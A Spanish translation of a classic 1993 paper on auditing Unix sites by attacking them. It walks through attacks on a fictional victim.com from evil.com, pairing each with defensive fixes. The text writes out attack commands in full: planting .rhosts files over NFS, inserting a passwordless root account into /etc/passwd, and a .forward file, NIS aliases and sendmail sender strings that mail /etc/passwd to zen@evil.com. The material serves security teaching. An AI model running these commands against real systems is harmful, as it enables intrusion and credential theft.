Ueberhacker. Intrusos en el sistema (Cap. 2)

Mientras exploramos los metodos y estrategias que se discuten en este texto 
vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ). 
Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos 
y recoge tanta informacion como sea posible explorando remotamente NIS, 
finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye 
la presencia de varios servicios de informacion de red asi como de defectos 
potenciales de seguridad - normalmente en la forma de errores en el setup o 
en la configuracion de los servicios de red, bugs tipicos en las utilidades 
del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces 
puede bien informar sobre estos datos o usar un sistema experto para 
investigar mas adelante cualquier problema potencial de seguridad. 
Mientras el SATAN no usa todos los metodos discutdos en este texto, ha 
triunfado con "amenazadora" regularidad a la hora de encontrar serios 
agujeros de seguridad en sites de Internet. Sera posteado y estara 
disponible via FTP anonimo cuando este completado; El apendice A cubre 
sus caracteristicas mas destacadas.


Observar que no es posible cubrir todos los metodos posibles de irrumpir en 
los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los 
metodos mas efectivos de irrupcion en hosts remotos: social engineering ( 
ingenieria social) y password cracking (crackear passwords). Este ultimo 
metodo es tan efectivo, sin embargo, que varias de las estrategias 
presentadas aquí estan basadas en la obtencion de archivos de passwords.
Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows, 
etc..) pueden proveer una "tierra fertil" para la 
irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos 
usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan 
terminales non-bitmapped que les pueden prevenir de usar algunos de los 
metodos de explotacion efectiva mas interesantes para sistemas basados en 
ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima 
es normalmente suficiente para pillar passwords). Finalmente, mientras 
gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no 
son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas 
muy similares a las descritas en este documento como partes individuales de 
su estrategia de ataque.

Ganando Informacion

Asumamos que tu eres el administrador de sistema de "Victim Incorporated's 
network of Unix workstations". En un esfuerzo por proteger tus maquinas, le 
pides a un colega administrador de sistema de un site cercano (evil.com) 
que te de una cuenta en una de sus maquinas para asi poder ver la seguridad 
de tu propio sistema desde el exterior.

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu 
blanco, tu host. Hay un monton de servicios de red en los que mirar: 
finger, showmount y rpcinfo son buenos puntos de partida. 
Pero no te pares ahi - debes tambien utilizar DNS, whois, sendmail (smtp), 
ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos 
metodos y tecnicas que el espacio nos impide enseñaros todos, pero 
trataremos de enseñar una representativa de las estrategias mas comunes y/o 
peligrosas que hemos visto o que se nos han ocurrido. 

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la 
subred o area de ataque - la informacion es poder - pero por ahora 
examinaremos solo nuestra victima/blanco en cuestion.

Para comenzar, miraremos lo que el comando finger nos ha reportado.
(imagina que son las 6pm, 6 Noviembre, 1993):


victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com



Bien! Un solo usuario inactivo - se supone que nadie va a notar si intentas 
irrumpir dentro.

Ahora intentas mas tacticas. Como todos los devotos del finger sabran, 
hacer finger "@", "0", y "", asi como a nombre comunes, como root, bin, 
ftp, system, guest, demo, manager, etc…, puede revelar informacion 
interesante. Lo que esa informacion sea depende de la version de finger que 
tu victima este usando, pero la mas importante son nombres de cuentas, 
conjuntamente con sus home directories y el ultimo host desde el que se 
conectaron.

Para añadir a esta informacion, puedes tambien usar rusers (en particular 
con la extension -l ) para pillar informacion valiosa sobre usuarios 
conectados.

Usando estos comandos en victim.com nos da la siguiente informacion, 
presentada de forma tabulada comprimida para ahorrar espacio:

Login Home-dir Shell Last login, from where
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento 
system crackers nos ha demostrado que el finger es uno de los servicios mas 
peligrosos, por su valor a la hora de investigar una victima potencial. De 
todas formas, mucha de esta informacion solamente es valiosa usada 
conjuntamente con otros datos.

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un 
servidor)en tu victima nos revela lo siguiente:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy




Notar que /export/foo esta "exportado al mundo"; tambien fijaros que este 
es el home directory del usuario "guest". Es hora de tu primera intrusion! 
En este caso, montaras el home directoy del usuario "guest". Como no tienes 
la cuenta correspondiente en esa maquina y como root no puede modificar 
archivos en un sistema de archivos NFS, creas una cuenta "guest" en tu 
archivo de password local. Como usuario "guest" puedes colocar una ".rhosts 
entry" en el guest home directory remoto, que te permitira acceder a dicha 
maquina sin tener que dar ningun password.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Si, en lugar de home directories, victim.com exportara sistemas de archivos 
con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar 
un comando por un caballo de troya que ejecutara cualquier comando de tu 
eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu 
programa

Sugerimos que se exporten estos sistemas de archivos:

Lectura/excritura solo a clientes especificos y de confianza
Solo-lectura, donde sea posible (datos o programas pueden ser exportados 
de esta forma)

Si la victima tiene un "+" wildcard en su /etc/hosts.equiv (por defecto en 
varias maquinas) o tiene el netgroups bug , cualquier usuario no root con 
un login en el fichero de passwords de la victima puede hacer un rlogin 
(login remoto) a la victima sin necesidad de password. Y como el usuario 
"bin" normalmente tiene ficheros llave y directorios, tu siguiente ataque 
es el de tratar de acceder en el host de la victima y modificar el fichero 
de passwords para permitirte tener acceso "root":

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > 
passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se 
usa para inicialmente entrar en el sistema ya que no deja ningun rastro en 
los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger 
y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los 
prgramas tipo pagers y editores fallaran - pero es de gran utilidad para 
una breve exploracion.

La utilidad de seguridad COPS (ver apendice D) informara de archivos o 
directorios que son "escribibles" a otras cuentas aparte de la superuser. 
Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de 
los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en 
lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente 
innotificable; el tcp wrapper (apendice D), que "logea" conexiones 
entrantes, puede ayudar a desenmascarar dichas actividades.
---
Y ahora que? Has destapado ya todos los agujeros del sistema-victima? 
Volviendo a los resultados dados por el finger en nuestra victima, te das 
cuenta de que tiene una cuenta "ftp", que normalmente significa que se 
puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir 
acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima 
debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo 
-ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, 
puedes ver que este ultimo no parece ser el verdadero (como puedes 
afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory 
de "ftp" en victim.com es escribible. Esto te permite ejecutar comandos 
remotamente - en este caso, mandarte el archivo por mail a ti mismo - por 
el simple metodo de crear un archivo .forward que ejecuta un comando cuando 
un mail es mandado a la cuenta "ftp".

evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Ahora simplemente tienes que esperar a que el fichero de passwords te sea 
enviado.

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; 
mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el 
CERT advisory 93:10 para recoger informacion acerca de como establecer 
(setup, por si hay dudas) ftp anonimo correctamente.
Vulnerabilidades en el ftp son normalmente cusetion de una posesion 
incorrecta o de los permisos de archivos y directorios. Al menos, estate 
seguro de que -ftp y todos los directorios y ficheros "system" por debajo 
de -ftp son de root y que no tienen privilegios de escritura para ningun 
usuario.

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente 
explotado:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o lo que sea)

Si esto funciona, estaras dentro como root, y con capacidad para modificar 
el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes 
que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp 
anonimo en ftp.uu.net.

El wuarchive ftpd, un conocido "recambio" del ftp daemon dado por la 
Washington University in Saint Louis, tenia casi el mismo problema. Si tu 
wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una 
version mas reciente.

hay un programa similar a ftp - tftp, o trivial file transfer 
program. Este daemon no necesita de ningun password para autentificacion; 
si un host provee de tftp sin restringir el acceso (normalmente mediante 
algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer 
y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas 
el fichero passwd y se pone en tu directorio /tmp local:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es 
necesario, utiliza la opcion/flag segura para restringir el acceso a un 
directorio que contenga informacion sin valor, o ejecutalo bajo el control 
de un programa chroot wrapper.
-----
Si ninguno de los metodos anteriores ha funcionado, es hora de tomar 
medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran 
utilidad, muchas veces incluso mas practico que el finger. Muchos hosts 
tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el 
portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS, 
si es un servidor o esclavo NIS, si hay una estacion de trabajo sin 
disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info 
(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados 
con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

evil % rpcinfo -p victim.com 
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd


En este caso, puedes ver varios datos significativos sobre nuestra victima;
el primero de los cuales es que es un servidor NIS. Puede que no sea muy 
sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor, 
puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso 
cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el 
programa YPX que se puede encontrar en los archivos comp.sources.misc en 
ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables 
passwords, muchos sistemas usan nombres de dominio NIS facilmente 
adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente 
provechoso/fructifero. Los mayores candidatos son los nombres del host en 
forma parcial y total (e.g. "victim" and "victim.com", el nombre de la 
organización, nombres del grupo dados por el comando "showmount", y demas. 
Si quisieras probar si el nombre de dominio fuera "victim", teclearias:




evil % ypwhich -d victim victim.com
Domain victim not bound.




Como se ve este fue un intento sin éxito; si huiera sido correcto "victim", 
nos habria dado un mensaje con el nombre de host del servidor NIS. De todas 
formas, fijaros de la seccion NFS que victim.com esta exportando el 
directorio "/var" al mundo. Todo lo que se necesita es montar dicho 
directorio y mirar en el subdirectorio "yp" - entre otras cosas veras otro 
subdirectorio que contiene el nombre de dominio de la victima.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]

En este caso "foo_bar" es el nombre de dominio del NIS.

Adicionalmente, los mapas NIS contienen normalmente una buena lista de 
nombres de usuarios/empleados asi como listas de hosts internos, por no 
mencionar passwords para crackear.
El apendice C detalla los resultados de un caso practico sobre archivos de 
passwords NIS.
-----
Puedes observar que la respuesta dada por el comando rpcinfo mostraba que 
victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo 
"por favor ejecuta este comando como ese usuario (como siendo ese 
usuario)". A diferencia de rshd, rexd no tiene en cuenta si el host cliente 
esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa 
rexd cliente es el comando "on", pero tan solo es necesario un pequeño 
programa en C para mandar informacion arbitraria sobre el host y userid 
cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas 
razones, ejecutar rexd es similar a no tener passwords: toda la seguridad 
esta en el cliente, no en el servidor que es donde deberia. La seguridad 
del rexd puede ser mejorada de alguna manera usando un RPC seguro.
-----
bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com 
parece ser un server para estaciones de trabajo sin disqueteras. Esto se 
evidencia debido a la presencia del servicio bootparam, que provee 
informacion a los clientes sin disquetera para el arranque. Si lo preguntas 
correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un 
cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran 
utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS 
arbitrarios (como el fichero password) cuando sabes el nombre de dominio. 
Aquí va un ejemplo de codigo para hacer justo eso:




char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */





/* initializations omitted... */





callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);




printf("%s has nisdomain %s\n", server, res.domain_name);




El resultado del comando showmount indicaba que "easy" es un cliente sin 
disquetera de victim.com, asi que usamos su direccion de cliente en el 
query BOOTPARAMPROC_WHOAMI:




evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar




-----




Los NIS masters controlan los alias del mail para el dominio NIS en 
cuestion. Como en los ficheros de alias de mail locales, puedes crear un 
mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo 
popular de esto es el alias "decode" que "uudecodea" archivos mail que le 
son mandados). Por ejemplo, aquí creas un alias "foo", que mailea el 
fichero password de vuelta a evil.com simplemente maileandole cualquier 
mensaje:




nis-master # echo 'foo: "|mail zen@evil.com< /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com




Por suerte los atacantes no tendran control de tu NIS master host, pero mas 
aun laa leccion esta clara - NIS normalmente no es seguro, pero si un 
atacante se hace con el control de tu NIS master, efectivamente tendra de 
los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).




No hay demasiadas defensas contra estos ataques; es un servicio inseguro 
que casi no tiene autentificacion entre clientes y servers. Para mas INRI, 
parece claro que se pueden forzar mapas aleatorios incluso en servidores 
maestros (ej, es posible tratar a un servidor NIS como si fuera un 
cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es 
absolutamente necesario usar NIS, el usar un nombre de dominio dificil de 
adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera 
que estan expuestos a atacantes en potencia, entonces es insignifante para 
este atacante el sobrepasar este simple paso haciendo uso del truco del 
bootparam para conseguir el nombre de dominio. Si el NIS es usado para 
propagar los mapas de passwords, entonces los shadowed passwords no ofrecen 
ningun tipo de proteccion adicional ya que el mapa shadow seria aun 
accesible para cualquier atacante que fuera root en un host de ataque.
Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que 
los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.




El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero 
tiene sus propios problemas, principalmente en que es dificil de 
administrar, pero tambien en que los metodos de criptologia usados no son 
muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de 
red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha 
limitado a correr bajo Suns. 
Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 
o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de 
Sun, puede tambien ayudar.




-----




El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros 
servicios de red pueden ser localizados con el metodo de fuerza bruta que 
conecta a todos los puertos de la red. Muchas utilidades de red y sistemas 
basados en ventanas "escuchan" en puertos especificos (ej, sendmail esta en 
el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).
SATAN incluye un programa que escanea los puertos de un host remoto e 
informa lo que ha encontrado; si lo ejecutaras contra nuestra victima 
verias lo siguiente:




evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

Esto sugiere que victim.com esta corriendo X windows. Si no esta 
correctamente protegido (por via de la cookie magica,magic cookie, o por 
mecanismos xhost), el contenido de las ventanas podria capturarse u 
observarse, lo que teclean los usuarios robado, ejecutar programas 
remotamente, etc. Tambien, si la victima esta usando X windows y acepta un 
telnet por el puerto 6000 (X), esto podria ser usado para un ataque de 
denegacion de servicio (denial of service attack), ya que el sistema de 
ventanas de la victima se suele mantener "congelado" por unos instantes. Un 
metodo para determinar la vulnerabilidad de un servidor X (corriendo X 
windows) es el de conectarse al mismo por medio de la funcion 
XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes 
acceder al display de la victima (opendisplay es parte de SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

Los terminales X, aunque mucho menos potentes que un sistema UNIX completo, 
pueden tener sus propios problemas de seguridad. Muchos terminales X 
permiten accesos rsh no restringidos, permitiendote iniciar programas 
clientes X en el terminal de la victima apareciendo los resultados en tu 
propia pantalla:

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

En cualquier caso, dale la misma importancia a la seguridad de tu sistema 
de ventanas, como a la de tu sistema de archivos y utilidades de red, ya 
que si no puede comprometer tu sistema igual que un "+" en el host.equiv o 
una cuenta root sin password.
Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo 
que tiene un largo historial de problemas de seguridad, incluyendo el 
infame comando "wiz" (por suerte hace mucho que se deshabilito en todas las 
maquinas). A menudo puedes determinar el sistema operativo, a veces hasta 
la version, de la victima, mirando al numero de version de sendmail. Esto, 
nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los 
muchos bugs. Adicionalmente, puedes ver si usan el alias "decode", que 
posee su propio set de problemas:

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

El usar el alias "decode" es un riesgo de seguridad - permite a los 
atacantes en potencia sobreescribir cualquier fichero que fuese escribible 
por el poseedor de ese alias - a menudo un daemon, pero potencialmente 
cualquier usuario. Considera este trozo de mail - esto pondra a "evil.com" 
en el archivo .rhost del usuario zen si es que fuera escribible.

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail 
decode@victim.com

Si no se conocen o no hay home directories escribibles, una interesante 
variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que 
contenga un alias con un comando que quieras ejecutar en tu victima. Esto 
puede funcionar debido a que en muchos sistemas los archivos aliases.pag y 
aliases.dir, que controlan los alias de mail del sistema, son escribibles 
para todo el mundo.

evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una 
direccion es aceptable (vrfy), o hasta donde se expande una direccion 
(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn 
pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn 
pueden tambien ser usados para descubrir si el usuario esta ejecutando mail 
por medio de cualquier programa susceptible de ser explotado (ej, vacation, 
mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos 
vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del 
archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura 
CmdTab que tengan los strings "vrfy" y "expn". Sites sin codigo pueden 
tambien desabilitarlos simplemente editando el ejecutable del sendmail con 
un editor binario y reemplazando "vrfy" y "expn" por espacios en blanco.
El adquirir una version reciente del sendmail (ver apendice D) es tambien 
una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail 
que encualquier otro programa UNIX.
os bugs muy conocidos que deben ser tratados. El primero fue 
definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los 
mensajes de abajo, para versiones de sendmail previas a la 5.59, "evil.com" 
se añade, a pesar de los mensajes de error, junto con los tipicos headers 
del mail, al archivo especificado:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %

El segundo agujero, recientemente solucionado, permitia a cualquiera 
especificar comandos arbitrarios de shell y/o caminos de ruta para el 
remitente y/o direccion de destino. Los intentos por mantener los detalles 
en secreto fueron en vano, y extensas discusiones en listas de correo o 
grupos de news de usenet llevaron a revelar como explotar los bugs de 
algunas versiones. Como en muchos bugs de UNIX, casi todas las 
distribuciones de sendmail eran vulnerables al problema, ya que todas 
compartian un ancestral codigo fuente comun. El espacio nos impide 
discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero 
de passwords seria de la siguiente manera:

evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver 
apendice D para informacion sobre como conseguirlo) es la unica variante 
del sendmail con todos los bugs recientes corregidos (ni de coña J).

Mas, mas. Quiero saber mas.